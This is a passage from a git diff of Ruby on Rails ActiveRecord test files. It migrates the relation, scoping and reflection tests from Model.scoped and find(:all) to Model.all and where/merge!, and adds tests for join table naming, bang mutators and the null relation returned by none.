-    assert AssociationReflection.new(:has_one, :client, { :autosave => true }, Firm).validate?
-    assert AssociationReflection.new(:belongs_to, :client, { :autosave => true }, Firm).validate?
-    assert AssociationReflection.new(:has_many, :clients, { :autosave => true }, Firm).validate?
-    assert AssociationReflection.new(:has_and_belongs_to_many, :clients, { :autosave => true }, Firm).validate?
+    assert AssociationReflection.new(:has_one, :client, nil, { :autosave => true }, Firm).validate?
+    assert AssociationReflection.new(:belongs_to, :client, nil, { :autosave => true }, Firm).validate?
+    assert AssociationReflection.new(:has_many, :clients, nil, { :autosave => true }, Firm).validate?
+    assert AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, { :autosave => true }, Firm).validate?
   end
 
   def test_never_validate_association_if_explicit
-    assert !AssociationReflection.new(:has_one, :client, { :autosave => true, :validate => false }, Firm).validate?
-    assert !AssociationReflection.new(:belongs_to, :client, { :autosave => true, :validate => false }, Firm).validate?
-    assert !AssociationReflection.new(:has_many, :clients, { :autosave => true, :validate => false }, Firm).validate?
-    assert !AssociationReflection.new(:has_and_belongs_to_many, :clients, { :autosave => true, :validate => false }, Firm).validate?
+    assert !AssociationReflection.new(:has_one, :client, nil, { :autosave => true, :validate => false }, Firm).validate?
+    assert !AssociationReflection.new(:belongs_to, :client, nil, { :autosave => true, :validate => false }, Firm).validate?
+    assert !AssociationReflection.new(:has_many, :clients, nil, { :autosave => true, :validate => false }, Firm).validate?
+    assert !AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, { :autosave => true, :validate => false }, Firm).validate?
   end
 
   def test_foreign_key
@@ -319,16 +323,68 @@ class ReflectionTest < ActiveRecord::TestCase
     assert_equal "category_id", Post.reflect_on_association(:categorizations).foreign_key.to_s
   end
 
-  def test_through_reflection_conditions_do_not_modify_other_reflections
-    orig_conds = Post.reflect_on_association(:first_blue_tags_2).conditions.inspect
-    Author.reflect_on_association(:misc_post_first_blue_tags_2).conditions
-    assert_equal orig_conds, Post.reflect_on_association(:first_blue_tags_2).conditions.inspect
+  def test_through_reflection_scope_chain_does_not_modify_other_reflections
+    orig_conds = Post.reflect_on_association(:first_blue_tags_2).scope_chain.inspect
+    Author.reflect_on_association(:misc_post_first_blue_tags_2).scope_chain
+    assert_equal orig_conds, Post.reflect_on_association(:first_blue_tags_2).scope_chain.inspect
   end
 
   def test_symbol_for_class_name
     assert_equal Client, Firm.reflect_on_association(:unsorted_clients_with_symbol).klass
   end
 
+  def test_join_table
+    category = Struct.new(:table_name, :pluralize_table_names).new('categories', true)
+    product = Struct.new(:table_name, :pluralize_table_names).new('products', true)
+
+    reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, {}, product)
+    reflection.stubs(:klass).returns(category)
+    assert_equal 'categories_products', reflection.join_table
+
+    reflection = AssociationReflection.new(:has_and_belongs_to_many, :products, nil, {}, category)
+    reflection.stubs(:klass).returns(product)
+    assert_equal 'categories_products', reflection.join_table
+  end
+
+  def test_join_table_with_common_prefix
+    category = Struct.new(:table_name, :pluralize_table_names).new('catalog_categories', true)
+    product = Struct.new(:table_name, :pluralize_table_names).new('catalog_products', true)
+
+    reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, {}, product)
+    reflection.stubs(:klass).returns(category)
+    assert_equal 'catalog_categories_products', reflection.join_table
+
+    reflection = AssociationReflection.new(:has_and_belongs_to_many, :products, nil, {}, category)
+    reflection.stubs(:klass).returns(product)
+    assert_equal 'catalog_categories_products', reflection.join_table
+  end
+
+  def test_join_table_with_different_prefix
+    category = Struct.new(:table_name, :pluralize_table_names).new('catalog_categories', true)
+    page = Struct.new(:table_name, :pluralize_table_names).new('content_pages', true)
+
+    reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, {}, page)
+    reflection.stubs(:klass).returns(category)
+    assert_equal 'catalog_categories_content_pages', reflection.join_table
+
+    reflection = AssociationReflection.new(:has_and_belongs_to_many, :pages, nil, {}, category)
+    reflection.stubs(:klass).returns(page)
+    assert_equal 'catalog_categories_content_pages', reflection.join_table
+  end
+
+  def test_join_table_can_be_overridden
+    category = Struct.new(:table_name, :pluralize_table_names).new('categories', true)
+    product = Struct.new(:table_name, :pluralize_table_names).new('products', true)
+
+    reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, { :join_table => 'product_categories' }, product)
+    reflection.stubs(:klass).returns(category)
+    assert_equal 'product_categories', reflection.join_table
+
+    reflection = AssociationReflection.new(:has_and_belongs_to_many, :products, nil, { :join_table => 'product_categories' }, category)
+    reflection.stubs(:klass).returns(product)
+    assert_equal 'product_categories', reflection.join_table
+  end
+
   private
     def assert_reflection(klass, association, options)
       assert reflection = klass.reflect_on_association(association)
diff --git a/activerecord/test/cases/relation/where_test.rb b/activerecord/test/cases/relation/where_test.rb
new file mode 100644
index 0000000000..90c690e266
--- /dev/null
+++ b/activerecord/test/cases/relation/where_test.rb
@@ -0,0 +1,19 @@
+require "cases/helper"
+require 'models/post'
+
+module ActiveRecord
+  class WhereTest < ActiveRecord::TestCase
+    fixtures :posts
+
+    def test_where_error
+      assert_raises(ActiveRecord::StatementInvalid) do
+        Post.where(:id => { 'posts.author_id' => 10 }).first
+      end
+    end
+
+    def test_where_with_table_name
+      post = Post.first
+      assert_equal post, Post.where(:posts => { 'id' => post.id }).first
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation_scoping_test.rb b/activerecord/test/cases/relation_scoping_test.rb
index 1e2093273e..d318dab1e1 100644
--- a/activerecord/test/cases/relation_scoping_test.rb
+++ b/activerecord/test/cases/relation_scoping_test.rb
@@ -53,8 +53,8 @@ class RelationScopingTest < ActiveRecord::TestCase
   end
 
   def test_scoped_find_last_preserves_scope
-    lowest_salary  = Developer.first :order => "salary ASC"
-    highest_salary = Developer.first :order => "salary DESC"
+    lowest_salary  = Developer.order("salary ASC").first
+    highest_salary = Developer.order("salary DESC").first
 
     Developer.order("salary").scoping do
       assert_equal highest_salary, Developer.last
@@ -84,7 +84,7 @@ class RelationScopingTest < ActiveRecord::TestCase
 
   def test_scope_select_concatenates
     Developer.select("id, name").scoping do
-      developer = Developer.select('id, salary').where("name = 'David'").first
+      developer = Developer.select('salary').where("name = 'David'").first
       assert_equal 80000, developer.salary
       assert developer.has_attribute?(:id)
       assert developer.has_attribute?(:name)
@@ -106,7 +106,7 @@ class RelationScopingTest < ActiveRecord::TestCase
   def test_scoped_find_include
     # with the include, will retrieve only developers for the given project
     scoped_developers = Developer.includes(:projects).scoping do
-      Developer.where('projects.id = 2').all
+      Developer.where('projects.id' => 2).to_a
     end
     assert scoped_developers.include?(developers(:david))
     assert !scoped_developers.include?(developers(:jamis))
@@ -115,7 +115,7 @@ class RelationScopingTest < ActiveRecord::TestCase
 
   def test_scoped_find_joins
     scoped_developers = Developer.joins('JOIN developers_projects ON id = developer_id').scoping do
-      Developer.where('developers_projects.project_id = 2').all
+      Developer.where('developers_projects.project_id = 2').to_a
     end
 
     assert scoped_developers.include?(developers(:david))
@@ -159,7 +159,7 @@ class RelationScopingTest < ActiveRecord::TestCase
     rescue
     end
 
-    assert !Developer.scoped.where_values.include?("name = 'Jamis'")
+    assert !Developer.all.where_values.include?("name = 'Jamis'")
   end
 end
 
@@ -169,7 +169,7 @@ class NestedRelationScopingTest < ActiveRecord::TestCase
   def test_merge_options
     Developer.where('salary = 80000').scoping do
       Developer.limit(10).scoping do
-        devs = Developer.scoped
+        devs = Developer.all
         assert_match '(salary = 80000)', devs.to_sql
         assert_equal 10, devs.taken
       end
@@ -254,11 +254,6 @@ class HasManyScopingTest< ActiveRecord::TestCase
     assert_equal 2, @welcome.comments.search_by_type('Comment').size
   end
 
-  def test_forwarding_to_dynamic_finders
-    assert_equal 4, Comment.find_all_by_type('Comment').size
-    assert_equal 2, @welcome.comments.find_all_by_type('Comment').size
-  end
-
   def test_nested_scope_finder
     Comment.where('1=0').scoping do
       assert_equal 0, @welcome.comments.count
@@ -300,12 +295,6 @@ class HasAndBelongsToManyScopingTest< ActiveRecord::TestCase
     assert_equal 'a category...', @welcome.categories.what_are_you
   end
 
-  def test_forwarding_to_dynamic_finders
-    assert_equal 4, Category.find_all_by_type('SpecialCategory').size
-    assert_equal 0, @welcome.categories.find_all_by_type('SpecialCategory').size
-    assert_equal 2, @welcome.categories.find_all_by_type('Category').size
-  end
-
   def test_nested_scope_finder
     Category.where('1=0').scoping do
       assert_equal 0, @welcome.categories.count
@@ -323,8 +312,8 @@ class DefaultScopingTest < ActiveRecord::TestCase
   fixtures :developers, :posts
 
   def test_default_scope
-    expected = Developer.find(:all, :order => 'salary DESC').collect { |dev| dev.salary }
-    received = DeveloperOrderedBySalary.find(:all).collect { |dev| dev.salary }
+    expected = Developer.all.merge!(:order => 'salary DESC').to_a.collect { |dev| dev.salary }
+    received = DeveloperOrderedBySalary.all.collect { |dev| dev.salary }
     assert_equal expected, received
   end
 
@@ -362,56 +351,42 @@ class DefaultScopingTest < ActiveRecord::TestCase
   end
 
   def test_default_scope_with_conditions_string
-    assert_equal Developer.find_all_by_name('David').map(&:id).sort, DeveloperCalledDavid.find(:all).map(&:id).sort
+    assert_equal Developer.where(name: 'David').map(&:id).sort, DeveloperCalledDavid.all.map(&:id).sort
     assert_equal nil, DeveloperCalledDavid.create!.name
   end
 
   def test_default_scope_with_conditions_hash
-    assert_equal Developer.find_all_by_name('Jamis').map(&:id).sort, DeveloperCalledJamis.find(:all).map(&:id).sort
+    assert_equal Developer.where(name: 'Jamis').map(&:id).sort, DeveloperCalledJamis.all.map(&:id).sort
     assert_equal 'Jamis', DeveloperCalledJamis.create!.name
   end
 
   def test_default_scoping_with_threads
     2.times do
-      Thread.new { assert DeveloperOrderedBySalary.scoped.to_sql.include?('salary DESC') }.join
+      Thread.new { assert DeveloperOrderedBySalary.all.to_sql.include?('salary DESC') }.join
     end
   end
 
   def test_default_scope_with_inheritance
-    wheres = InheritedPoorDeveloperCalledJamis.scoped.where_values_hash
+    wheres = InheritedPoorDeveloperCalledJamis.all.where_values_hash
     assert_equal "Jamis", wheres[:name]
     assert_equal 50000,   wheres[:salary]
   end
 
   def test_default_scope_with_module_includes
-    wheres = ModuleIncludedPoorDeveloperCalledJamis.scoped.where_values_hash
+    wheres = ModuleIncludedPoorDeveloperCalledJamis.all.where_values_hash
     assert_equal "Jamis", wheres[:name]
     assert_equal 50000,   wheres[:salary]
   end
 
   def test_default_scope_with_multiple_calls
-    wheres = MultiplePoorDeveloperCalledJamis.scoped.where_values_hash
+    wheres = MultiplePoorDeveloperCalledJamis.all.where_values_hash
     assert_equal "Jamis", wheres[:name]
     assert_equal 50000,   wheres[:salary]
   end
 
-  def test_method_scope
-    expected = Developer.find(:all, :order => 'salary DESC, name DESC').collect { |dev| dev.salary }
-    received = DeveloperOrderedBySalary.all_ordered_by_name.collect { |dev| dev.salary }
-    assert_equal expected, received
-  end
-
-  def test_nested_scope
-    expected = Developer.find(:all, :order => 'salary DESC, name DESC').collect { |dev| dev.salary }
-    received = DeveloperOrderedBySalary.send(:with_scope, :find => { :order => 'name DESC'}) do
-      DeveloperOrderedBySalary.find(:all).collect { |dev| dev.salary }
-    end
-    assert_equal expected, received
-  end
-
   def test_scope_overwrites_default
-    expected = Developer.find(:all, :order => 'salary DESC, name DESC').collect { |dev| dev.name }
-    received = DeveloperOrderedBySalary.by_name.find(:all).collect { |dev| dev.name }
+    expected = Developer.all.merge!(:order => ' name DESC, salary DESC').to_a.collect { |dev| dev.name }
+    received = DeveloperOrderedBySalary.by_name.to_a.collect { |dev| dev.name }
     assert_equal expected, received
   end
 
@@ -421,17 +396,15 @@ class DefaultScopingTest < ActiveRecord::TestCase
     assert_equal expected, received
   end
 
-  def test_nested_exclusive_scope
-    expected = Developer.find(:all, :limit => 100).collect { |dev| dev.salary }
-    received = DeveloperOrderedBySalary.send(:with_exclusive_scope, :find => { :limit => 100 }) do
-      DeveloperOrderedBySalary.find(:all).collect { |dev| dev.salary }
-    end
+  def test_order_after_reorder_combines_orders
+    expected = Developer.order('id DESC, name DESC').collect { |dev| [dev.name, dev.id] }
+    received = Developer.order('name ASC').reorder('name DESC').order('id DESC').collect { |dev| [dev.name, dev.id] }
     assert_equal expected, received
   end
 
-  def test_order_in_default_scope_should_prevail
-    expected = Developer.find(:all, :order => 'salary desc').collect { |dev| dev.salary }
-    received = DeveloperOrderedBySalary.find(:all, :order => 'salary').collect { |dev| dev.salary }
+  def test_order_in_default_scope_should_not_prevail
+    expected = Developer.all.merge!(:order => 'salary').to_a.collect { |dev| dev.salary }
+    received = DeveloperOrderedBySalary.all.merge!(:order => 'salary').to_a.collect { |dev| dev.salary }
     assert_equal expected, received
   end
 
@@ -499,7 +472,7 @@ class DefaultScopingTest < ActiveRecord::TestCase
   end
 
   def test_default_scope_select_ignored_by_aggregations
-    assert_equal DeveloperWithSelect.all.count, DeveloperWithSelect.count
+    assert_equal DeveloperWithSelect.all.to_a.count, DeveloperWithSelect.count
   end
 
   def test_default_scope_select_ignored_by_grouped_aggregations
@@ -535,10 +508,10 @@ class DefaultScopingTest < ActiveRecord::TestCase
 
     threads << Thread.new do
       Thread.current[:long_default_scope] = true
-      assert_equal 1, ThreadsafeDeveloper.all.count
+      assert_equal 1, ThreadsafeDeveloper.all.to_a.count
     end
     threads << Thread.new do
-      assert_equal 1, ThreadsafeDeveloper.all.count
+      assert_equal 1, ThreadsafeDeveloper.all.to_a.count
     end
     threads.each(&:join)
   end
diff --git a/activerecord/test/cases/relation_test.rb b/activerecord/test/cases/relation_test.rb
index 715a378431..5fb54b1ca1 100644
--- a/activerecord/test/cases/relation_test.rb
+++ b/activerecord/test/cases/relation_test.rb
@@ -19,33 +19,12 @@ module ActiveRecord
       assert !relation.loaded, 'relation is not loaded'
     end
 
-    def test_single_values
-      assert_equal [:limit, :offset, :lock, :readonly, :from, :reorder, :reverse_order, :uniq].map(&:to_s).sort,
-        Relation::SINGLE_VALUE_METHODS.map(&:to_s).sort
-    end
-
     def test_initialize_single_values
       relation = Relation.new :a, :b
-      Relation::SINGLE_VALUE_METHODS.each do |method|
+      (Relation::SINGLE_VALUE_METHODS - [:create_with]).each do |method|
         assert_nil relation.send("#{method}_value"), method.to_s
       end
-    end
-
-    def test_association_methods
-      assert_equal [:includes, :eager_load, :preload].map(&:to_s).sort,
-        Relation::ASSOCIATION_METHODS.map(&:to_s).sort
-    end
-
-    def test_initialize_association_methods
-      relation = Relation.new :a, :b
-      Relation::ASSOCIATION_METHODS.each do |method|
-        assert_equal [], relation.send("#{method}_values"), method.to_s
-      end
-    end
-
-    def test_multi_value_methods
-      assert_equal [:select, :group, :order, :joins, :where, :having, :bind].map(&:to_s).sort,
-        Relation::MULTI_VALUE_METHODS.map(&:to_s).sort
+      assert_equal({}, relation.create_with_value)
     end
 
     def test_multi_value_initialize
@@ -64,19 +43,19 @@ module ActiveRecord
       relation = Relation.new :a, :b
       assert_equal({}, relation.where_values_hash)
 
-      relation.where_values << :hello
+      relation.where! :hello
       assert_equal({}, relation.where_values_hash)
     end
 
     def test_has_values
       relation = Relation.new Post, Post.arel_table
-      relation.where_values << relation.table[:id].eq(10)
+      relation.where! relation.table[:id].eq(10)
       assert_equal({:id => 10}, relation.where_values_hash)
     end
 
     def test_values_wrong_table
       relation = Relation.new Post, Post.arel_table
-      relation.where_values << Comment.arel_table[:id].eq(10)
+      relation.where! Comment.arel_table[:id].eq(10)
       assert_equal({}, relation.where_values_hash)
     end
 
@@ -85,7 +64,7 @@ module ActiveRecord
       left     = relation.table[:id].eq(10)
       right    = relation.table[:id].eq(10)
       combine  = left.and right
-      relation.where_values << combine
+      relation.where! combine
       assert_equal({}, relation.where_values_hash)
     end
 
@@ -108,7 +87,7 @@ module ActiveRecord
 
     def test_create_with_value_with_wheres
       relation = Relation.new Post, Post.arel_table
-      relation.where_values << relation.table[:id].eq(10)
+      relation.where! relation.table[:id].eq(10)
       relation.create_with_value = {:hello => 'world'}
       assert_equal({:hello => 'world', :id => 10}, relation.scope_for_create)
     end
@@ -118,7 +97,7 @@ module ActiveRecord
       relation = Relation.new Post, Post.arel_table
       assert_equal({}, relation.scope_for_create)
 
-      relation.where_values << relation.table[:id].eq(10)
+      relation.where! relation.table[:id].eq(10)
       assert_equal({}, relation.scope_for_create)
 
       relation.create_with_value = {:hello => 'world'}
@@ -132,8 +111,145 @@ module ActiveRecord
 
     def test_eager_load_values
       relation = Relation.new :a, :b
-      relation.eager_load_values << :b
+      relation.eager_load! :b
       assert relation.eager_loading?
     end
+
+    def test_references_values
+      relation = Relation.new :a, :b
+      assert_equal [], relation.references_values
+      relation = relation.references(:foo).references(:omg, :lol)
+      assert_equal ['foo', 'omg', 'lol'], relation.references_values
+    end
+
+    def test_references_values_dont_duplicate
+      relation = Relation.new :a, :b
+      relation = relation.references(:foo).references(:foo)
+      assert_equal ['foo'], relation.references_values
+    end
+
+    test 'merging a hash into a relation' do
+      relation = Relation.new :a, :b
+      relation = relation.merge where: :lol, readonly: true
+
+      assert_equal [:lol], relation.where_values
+      assert_equal true, relation.readonly_value
+    end
+
+    test 'merging an empty hash into a relation' do
+      assert_equal [], Relation.new(:a, :b).merge({}).where_values
+    end
+
+    test 'merging a hash with unknown keys raises' do
+      assert_raises(ArgumentError) { Relation::HashMerger.new(nil, omg: 'lol') }
+    end
+
+    test '#values returns a dup of the values' do
+      relation = Relation.new(:a, :b).where! :foo
+      values   = relation.values
+
+      values[:where] = nil
+      assert_not_nil relation.where_values
+    end
+
+    test 'relations can be created with a values hash' do
+      relation = Relation.new(:a, :b, where: [:foo])
+      assert_equal [:foo], relation.where_values
+    end
+
+    test 'merging a single where value' do
+      relation = Relation.new(:a, :b)
+      relation.merge!(where: :foo)
+      assert_equal [:foo], relation.where_values
+    end
+
+    test 'merging a hash interpolates conditions' do
+      klass = stub
+      klass.stubs(:sanitize_sql).with(['foo = ?', 'bar']).returns('foo = bar')
+
+      relation = Relation.new(klass, :b)
+      relation.merge!(where: ['foo = ?', 'bar'])
+      assert_equal ['foo = bar'], relation.where_values
+    end
+  end
+
+  class RelationMutationTest < ActiveSupport::TestCase
+    def relation
+      @relation ||= Relation.new :a, :b
+    end
+
+    (Relation::MULTI_VALUE_METHODS - [:references, :extending]).each do |method|
+      test "##{method}!" do
+        assert relation.public_send("#{method}!", :foo).equal?(relation)
+        assert_equal [:foo], relation.public_send("#{method}_values")
+      end
+    end
+
+    test '#references!' do
+      assert relation.references!(:foo).equal?(relation)
+      assert relation.references_values.include?('foo')
+    end
+
+    test 'extending!' do
+      mod, mod2 = Module.new, Module.new
+
+      assert relation.extending!(mod).equal?(relation)
+      assert_equal [mod], relation.extending_values
+      assert relation.is_a?(mod)
+
+      relation.extending!(mod2)
+      assert_equal [mod, mod2], relation.extending_values
+    end
+
+    test 'extending! with empty args' do
+      relation.extending!
+      assert_equal [], relation.extending_values
+    end
+
+    (Relation::SINGLE_VALUE_METHODS - [:from, :lock, :reordering, :reverse_order, :create_with]).each do |method|
+      test "##{method}!" do
+        assert relation.public_send("#{method}!", :foo).equal?(relation)
+        assert_equal :foo, relation.public_send("#{method}_value")
+      end
+    end
+
+    test '#from!' do
+      assert relation.from!('foo').equal?(relation)
+      assert_equal ['foo', nil], relation.from_value
+    end
+
+    test '#lock!' do
+      assert relation.lock!('foo').equal?(relation)
+      assert_equal 'foo', relation.lock_value
+    end
+
+    test '#reorder!' do
+      relation = self.relation.order('foo')
+
+      assert relation.reorder!('bar').equal?(relation)
+      assert_equal ['bar'], relation.order_values
+      assert relation.reordering_value
+    end
+
+    test 'reverse_order!' do
+      assert relation.reverse_order!.equal?(relation)
+      assert relation.reverse_order_value
+      relation.reverse_order!
+      assert !relation.reverse_order_value
+    end
+
+    test 'create_with!' do
+      assert relation.create_with!(foo: 'bar').equal?(relation)
+      assert_equal({foo: 'bar'}, relation.create_with_value)
+    end
+
+    test 'merge!' do
+      assert relation.merge!(where: :foo).equal?(relation)
+      assert_equal [:foo], relation.where_values
+    end
+
+    test 'merge with a proc' do
+      assert_equal [:foo], relation.merge(-> { where(:foo) }).where_values
+    end
   end
 end
diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb
index bf1eb6386a..684538940a 100644
--- a/activerecord/test/cases/relations_test.rb
+++ b/activerecord/test/cases/relations_test.rb
@@ -4,11 +4,11 @@ require 'models/tagging'
 require 'models/post'
 require 'models/topic'
 require 'models/comment'
-require 'models/reply'
 require 'models/author'
 require 'models/comment'
 require 'models/entrant'
 require 'models/developer'
+require 'models/reply'
 require 'models/company'
 require 'models/bird'
 require 'models/car'
@@ -34,7 +34,7 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_bind_values
-    relation = Post.scoped
+    relation = Post.all
     assert_equal [], relation.bind_values
 
     relation2 = relation.bind 'foo'
@@ -59,44 +59,44 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_scoped
-    topics = Topic.scoped
+    topics = Topic.all
     assert_kind_of ActiveRecord::Relation, topics
     assert_equal 4, topics.size
   end
 
   def test_to_json
-    assert_nothing_raised  { Bird.scoped.to_json }
-    assert_nothing_raised  { Bird.scoped.all.to_json }
+    assert_nothing_raised  { Bird.all.to_json }
+    assert_nothing_raised  { Bird.all.to_a.to_json }
   end
 
   def test_to_yaml
-    assert_nothing_raised  { Bird.scoped.to_yaml }
-    assert_nothing_raised  { Bird.scoped.all.to_yaml }
+    assert_nothing_raised  { Bird.all.to_yaml }
+    assert_nothing_raised  { Bird.all.to_a.to_yaml }
   end
 
   def test_to_xml
-    assert_nothing_raised  { Bird.scoped.to_xml }
-    assert_nothing_raised  { Bird.scoped.all.to_xml }
+    assert_nothing_raised  { Bird.all.to_xml }
+    assert_nothing_raised  { Bird.all.to_a.to_xml }
   end
 
   def test_scoped_all
-    topics = Topic.scoped.all
+    topics = Topic.all.to_a
     assert_kind_of Array, topics
     assert_no_queries { assert_equal 4, topics.size }
   end
 
   def test_loaded_all
-    topics = Topic.scoped
+    topics = Topic.all
 
     assert_queries(1) do
-      2.times { assert_equal 4, topics.all.size }
+      2.times { assert_equal 4, topics.to_a.size }
     end
 
     assert topics.loaded?
   end
 
   def test_scoped_first
-    topics = Topic.scoped.order('id ASC')
+    topics = Topic.all.order('id ASC')
 
     assert_queries(1) do
       2.times { assert_equal "The First Topic", topics.first.title }
@@ -106,10 +106,10 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_loaded_first
-    topics = Topic.scoped.order('id ASC')
+    topics = Topic.all.order('id ASC')
 
     assert_queries(1) do
-      topics.all # force load
+      topics.to_a # force load
       2.times { assert_equal "The First Topic", topics.first.title }
     end
 
@@ -117,7 +117,7 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_reload
-    topics = Topic.scoped
+    topics = Topic.all
 
     assert_queries(1) do
       2.times { topics.to_a }
@@ -133,6 +133,13 @@ class RelationTest < ActiveRecord::TestCase
     assert topics.loaded?
   end
 
+  def test_finding_with_subquery
+    relation = Topic.where(:approved => true)
+    assert_equal relation.to_a, Topic.select('*').from(relation).to_a
+    assert_equal relation.to_a, Topic.select('subquery.*').from(relation).to_a
+    assert_equal relation.to_a, Topic.select('a.*').from(relation, :a).to_a
+  end
+
   def test_finding_with_conditions
     assert_equal ["David"], Author.where(:name => 'David').map(&:name)
     assert_equal ['Mary'],  Author.where(["name = ?", 'Mary']).map(&:name)
@@ -158,13 +165,13 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_finding_with_order_concatenated
-    topics = Topic.order('author_name').order('title')
+    topics = Topic.order('title').order('author_name')
     assert_equal 4, topics.to_a.size
     assert_equal topics(:fourth).title, topics.first.title
   end
 
   def test_finding_with_reorder
-    topics = Topic.order('author_name').order('title').reorder('id').all
+    topics = Topic.order('author_name').order('title').reorder('id').to_a
     topics_titles = topics.map{ |t| t.title }
     assert_equal ['The First Topic', 'The Second Topic of the day', 'The Third Topic of the day', 'The Fourth Topic of the day'], topics_titles
   end
@@ -184,12 +191,12 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_finding_with_complex_order_and_limit
-    tags = Tag.includes(:taggings).order("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").limit(1).to_a
+    tags = Tag.includes(:taggings).references(:taggings).order("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").limit(1).to_a
     assert_equal 1, tags.length
   end
 
   def test_finding_with_complex_order
-    tags = Tag.includes(:taggings).order("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").to_a
+    tags = Tag.includes(:taggings).references(:taggings).order("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").to_a
     assert_equal 3, tags.length
   end
 
@@ -211,10 +218,61 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_select_with_block
-    even_ids = Developer.scoped.select {|d| d.id % 2 == 0 }.map(&:id)
+    even_ids = Developer.all.select {|d| d.id % 2 == 0 }.map(&:id)
     assert_equal [2, 4, 6, 8, 10], even_ids.sort
   end
 
+  def test_none
+    assert_no_queries do
+      assert_equal [], Developer.none
+      assert_equal [], Developer.all.none
+    end
+  end
+
+  def test_none_chainable
+    assert_no_queries do
+      assert_equal [], Developer.none.where(:name => 'David')
+    end
+  end
+
+  def test_none_chainable_to_existing_scope_extension_method
+    assert_no_queries do
+      assert_equal 1, Topic.anonymous_extension.none.one
+    end
+  end
+
+  def test_none_chained_to_methods_firing_queries_straight_to_db
+    assert_no_queries do
+      assert_equal [],    Developer.none.pluck(:id) # => uses select_all
+      assert_equal 0,     Developer.none.delete_all
+      assert_equal 0,     Developer.none.update_all(:name => 'David')
+      assert_equal 0,     Developer.none.delete(1)
+      assert_equal false, Developer.none.exists?(1)
+    end
+  end
+
+  def test_null_relation_content_size_methods
+    assert_no_queries do
+      assert_equal 0,     Developer.none.size
+      assert_equal 0,     Developer.none.count
+      assert_equal true,  Developer.none.empty?
+      assert_equal false, Developer.none.any?
+      assert_equal false, Developer.none.many?
+    end
+  end
+
+  def test_null_relation_calculations_methods
+    assert_no_queries do
+      assert_equal 0,     Developer.none.count
+      assert_equal nil,   Developer.none.calculate(:average, 'salary')
+    end
+  end
+
+  def test_null_relation_metadata_methods
+    assert_equal "", Developer.none.to_sql
+    assert_equal({}, Developer.none.where_values_hash)
+  end
+
   def test_joins_with_nil_argument
     assert_nothing_raised { DependentFirm.joins(nil).first }
   end
@@ -236,7 +294,7 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_find_on_hash_conditions
-    assert_equal Topic.find(:all, :conditions => {:approved => false}), Topic.where({ :approved => false }).to_a
+    assert_equal Topic.all.merge!(:where => {:approved => false}).to_a, Topic.where({ :approved => false }).to_a
   end
 
   def test_joins_with_string_array
@@ -249,15 +307,15 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_scoped_responds_to_delegated_methods
-    relation = Topic.scoped
+    relation = Topic.all
 
     ["map", "uniq", "sort", "insert", "delete", "update"].each do |method|
-      assert_respond_to relation, method, "Topic.scoped should respond to #{method.inspect}"
+      assert_respond_to relation, method, "Topic.all should respond to #{method.inspect}"
     end
   end
 
   def test_respond_to_delegates_to_relation
-    relation = Topic.scoped
+    relation = Topic.all
     fake_arel = Struct.new(:responds) {
       def respond_to? method, access = false
         responds << [method, access]
@@ -276,21 +334,20 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_respond_to_dynamic_finders
-    relation = Topic.scoped
+    relation = Topic.all
 
     ["find_by_title", "find_by_title_and_author_name", "find_or_create_by_title", "find_or_initialize_by_title_and_author_name"].each do |method|
-      assert_respond_to relation, method, "Topic.scoped should respond to #{method.inspect}"
+      assert_respond_to relation, method, "Topic.all should respond to #{method.inspect}"
     end
   end
 
   def test_respond_to_class_methods_and_scopes
-    assert DeveloperOrderedBySalary.scoped.respond_to?(:all_ordered_by_name)
-    assert Topic.scoped.respond_to?(:by_lifo)
+    assert Topic.all.respond_to?(:by_lifo)
   end
 
   def test_find_with_readonly_option
-    Developer.scoped.each { |d| assert !d.readonly? }
-    Developer.scoped.readonly.each { |d| assert d.readonly? }
+    Developer.all.each { |d| assert !d.readonly? }
+    Developer.all.readonly.each { |d| assert d.readonly? }
   end
 
   def test_eager_association_loading_of_stis_with_multiple_references
@@ -310,7 +367,7 @@ class RelationTest < ActiveRecord::TestCase
       assert posts.first.comments.first
     end
 
-    assert_queries(ActiveRecord::IdentityMap.enabled? ? 1 : 2) do
+    assert_queries(2) do
       posts = Post.preload(:comments).order('posts.id')
       assert posts.first.comments.first
     end
@@ -320,12 +377,12 @@ class RelationTest < ActiveRecord::TestCase
       assert posts.first.author
     end
 
-    assert_queries(ActiveRecord::IdentityMap.enabled? ? 1 : 2) do
+    assert_queries(2) do
       posts = Post.preload(:author).order('posts.id')
       assert posts.first.author
     end
 
-    assert_queries(ActiveRecord::IdentityMap.enabled? ? 1 : 3) do
+    assert_queries(3) do
       posts = Post.preload(:author, :comments).order('posts.id')
       assert posts.first.author
       assert posts.first.comments.first
@@ -338,8 +395,8 @@ class RelationTest < ActiveRecord::TestCase
       assert posts.first.comments.first
     end
 
-    assert_queries(ActiveRecord::IdentityMap.enabled? ? 1 : 2) do
-      posts = Post.scoped.includes(:comments).order('posts.id')
+    assert_queries(2) do
+      posts = Post.all.includes(:comments).order('posts.id')
       assert posts.first.comments.first
     end
 
@@ -348,7 +405,7 @@ class RelationTest < ActiveRecord::TestCase
       assert posts.first.author
     end
 
-    assert_queries(ActiveRecord::IdentityMap.enabled? ? 1 : 3) do
+    assert_queries(3) do
       posts = Post.includes(:author, :comments).order('posts.id')
       assert posts.first.author
       assert posts.first.comments.first
@@ -356,18 +413,18 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_default_scope_with_conditions_string
